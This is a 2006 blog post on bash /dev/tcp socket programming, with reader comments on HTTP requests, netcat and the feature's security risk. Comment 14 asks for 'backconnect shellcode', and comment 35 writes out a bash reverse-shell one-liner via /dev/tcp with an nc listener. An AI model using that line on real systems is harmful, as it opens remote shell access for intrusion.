Bash socket programming with /dev/tcp

May 23rd, 2006

Today I discovered a nifty way to do socket programming in bash without the need for netcat (nc) or telnet: /dev/tcp. Say you want to connect to Google and fetch their front page. Just do this:

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\n\n" >&3
cat <&3

I found this very handy when trying to connect to a host and read some info from a socket, but I wanted to do it all in a few lines of bash. This is great, because you don’t have to worry about what version of Python or Perl your users will have. If they’ve got bash, you’re set. There is one caveat: some systems (Debian included) don’t enable /dev/tcp. I don’t know why, but they don’t. So make sure your target system has it before coding this up. Oh, and you can use /dev/udp too if you really want to spice things up!

Where does this come from? It turns out it’s a pure bashism, which has to be enabled when you compile bash. Bash actually intercepts “/dev/tcp” and provides special behavior, so you’re not actually opening a device node called /dev/tcp. Pretty cool, eh?!

Happy bashing!

36 Responses to “Bash socket programming with /dev/tcp”

  1. Gabriel Gunderson Says:

    I could have used this two weeks ago. I ended up using nc. It works pretty well anyway.

    PS. I get this error on page load:
    Warning: in_array() [function.in-array]: Wrong datatype for second argument in /home/vhosts/thesmithfam.org/wordpress/wp-content/plugins/BAStats/BAStats_logger.php on line 114

  2. Dave Says:

    Thanks for the bug report. I think I fixed it with a nice hack. Let me know.

  3. steve Says:

    Dave, you’ve got your mug up. Now you’ll have to start mixing up your daily routine to avoid the papparazzi.

    How’s the baby?
    You hacked your airhog to drop “bombs” yet?

  4. Tyler Larson Says:

    Your example code is invalid for HTTP 1.1: a ‘host’ header is always required (to aid in virtual hosting). Instead, do the following:

    echo -e “GET / HTTP/1.1\nhost: http://www.google.com\n\n” >&3
    Or
    echo -e ‘GET / HTTP/0.9\n\n’ > &3

    Hope you’re doing well.
    -Tyler

  5. Dave Says:

    Thanks Tyler. Nice to hear from you. Drop me a line some time to catch up!

  6. prosho Says:

    Use

    echo -e “GET / HTTP/1.1\nConnection: close\n” >&3

    so the subsequent call to cat doesn’t hang.

  7. Dave Says:

    Nice one prosho. Thanks.

  8. Eric Windisch Says:

    Just in case anyone still comes across this blog post…

    Don’t use this hack. Use netcat or socat. There is a reason that Debian has this disabled.

    This is a security risk on a multi-user system. It is easy to restrict access to socat, netcat, wget, and curl. It is impossible to disable this feature of the shell without changing the shell. This is a feature transparent enough that many administrators could overlook, allowing into their otherwise-secure chroots.

    While I admit that on a single-user system, this is less of an issue than on a multi-user system, the fact that the security issue exists requires the expectation (and subsequent reality) that many systems have this disabled.

    On the other hand, it is true that netcat also doesn’t exist everywhere, if you must make the choice between programming for netcat or bash sockets — choose netcat. It isn’t that difficult to install and it doesn’t necessitate the creation of unnecessary security concerns.

    I would be very upset if a vendor told me that I needed to have a bash enabled with sockets; while I wouldn’t at all mind a vendor telling me to install netcat. At least I can restrict netcat.

  9. Dave Says:

    Eric,

    A customer of mine had an immediate need for a small fix to some existing commercial software and hardware on a Red Hat system, to which I had no access. The only thing I knew about the system a priori was that it was Red Hat Enterprise 3. I didn’t even know if they had netcat installed or not. I did know, however, that they were running a vanilla install of Red Hat Enterprise. Armed with that knowledge, I was able to solve their problem reliably with a nice, dirty bash hack using /dev/tcp. :)

    Had I relied on netcat, it could have come back to me. /dev/tcp did the job for them nicely.

  10. Mark Says:

    Dave, can you give an example if I want to send some data to a server, either via GET or POST?

    TIA

  11. Dave Says:

    Sending a POST with data would be the same, but you would add extra text like this:

    echo -e “POST / HTTP/1.1\n\nThis is the body of my POST”>&3

    You can also add headers right after the first \n, but be sure to use \n\n before the HTTP body.

  12. Mark Says:

    Thanks, Dave!

  13. Ben Scott Says:

    What exactly is the security exposure of the “/dev/tcp/” feature of Bash? The socket() call will still be available if you disable it.

  14. Anonymous Says:

    can you post the backconnect shellcode?

  15. Dave Says:

    I’m afraid I have no idea what you’re talking about by “backconnect”. Are you talking about the server side?

  16. Connect-back Shell - Defending the Box « Neohapsis Labs Says:

    [...] known for quite some time – it’s easily discovered on the blogosphere in articles here and here for example. Since this is built-in to bash by default in most instances, the main method of [...]

  17. David Says:

    A tad late, but technically all those “\n” should be “\r\n”. The RFC calls for CRLF line termination.

  18. dbabits Says:

    can anyone show how to do the same if i’m behind a corporate proxy?
    Somehow i need to specify the proxy’s url here

  19. mt Says:

    There’s also ncat (part of nmap). Supports proxy.

    http://nmap.org/ncat/

  20. debian38 Says:

    Why is it not enabled in Debian ? Because bash in Debian is compiled with –disable-net-redirections:

    “It can produce completely unexpected results. This kind of
    feature should not be part of a shell but a special tool. And
    that tool has existed for years already, it’s called netcat.”

    To my part, I strongly recommend you to take look on socat. Definitely the best network swiss army knife.

  21. Brian K. White Says:

    Not a bashism at all.
    Similar functionality is in at least ksh (real ksh) and zsh.

  22. Dave Says:

    Brian: By “bashism”, I didn’t mean to say that it was exclusive to bash, just that the file /dev/tcp does not actually exist in any file system.

    –Dave

  23. Vladimir Says:

    I have adjusted this code to write and read from a non-web server.
    The problem is that my msg_out is 94 bytes, but server gets 95.
    I wonder where the extra byte is coming from.

    #~ Open socket.
    exec 3/dev/tcp/172.26.0.6/9991 # 103, 6

    #~ Send msg.
    echo “$msg_out” >&3

    #~ Receive msg.
    read -r msg_in <&3
    echo "msg_in: $msg_in"

    Please give me you thoughts.
    Regards,
    Vladimir.
    San Jose, CA.

  24. Ben Menking Says:

    Muhaha! Just what I needed.

    Was looking for a way to send a message to a web server from a Solaris jumpstart network unattended install (no wget or nc :-(

    By the way, using this with ksh (no bash either).

    Thanks! (Now I must go build my empire and rule the world!)

  25. Ben Menking Says:

    Re: Vladimir

    Try using echo -n “$msg_out” >&3

    echo without the “-n” will send a linefeed, which may be the extra character you are referencing.

  26. Andy Says:

    Hi can this code be used so it works like a simple chat in bash? if it can, can you please tell me how

    Thanx.

  27. Dave Says:

    Andy,

    Who are you trying to chat with? If you’re trying to connect to an IRC or Jabber chat room, no, you can’t use this code. But if you just want to talk to another Bash user, I would recommend netcat.

    One of you just run this command:

    nc -l -p 12345

    And the other use this command:

    nc theotherhost 12345

    (replace “theotherhost” with the IP address or hostname of the other guy’s computer)

    Now every line you each type below the “nc” command will appear on the other guy’s computer.

    Have fun!

  28. jim Says:

    I am trying to retrieve this xml file using bash.
    Is that possible?

    http://www.deldot.gov/traffic/data.ejs?type=vsl

  29. Dave Says:

    Jim,

    Yes, that is possible, but I would recommend using “wget” instead.

    Example:
    wget http://www.deldot.gov/traffic/data.ejs?type=vsl -O myfile.xml

    When it’s complete, the file “myfile.xml” will contain the XML data you want.

    –Dave

  30. jim Says:

    worked fantastic! I put Kudos on wikispeedia.org

  31. Syntax3rror Says:

    Hi, I doing something that can send using POST method and set some parameters

    In form html with be something like this:

    There’s possible to do that?

    I also tried:
    echo -e “POST / HTTP/1.1\n\nThis is the body of my POST”>&3

    But i cant get any post body.

    Thanks

  32. Bash Socket Programming | Lainoox Says:

    [...] I found that nifty example here. With some other great comments from other [...]

  33. kizmiaz Says:

    Lainoox: Thanks for mentioning how to close the handle ! It was exactly the missing piece for me to be able to use that …

  34. andyk Says:

    Thanks Dave! We do this here was making sure we were doing okay!

  35. Daren Says:

    If the following is executed on a host, it’ll create a reverse shell back to the awaiting host.

    /bin/bash -i > /dev/tcp// 0&1

    AWAITING HOST
    nc -l -p

  36. Sean Says:

    Once you open a channel with 3, how do you close it?

Leave a Reply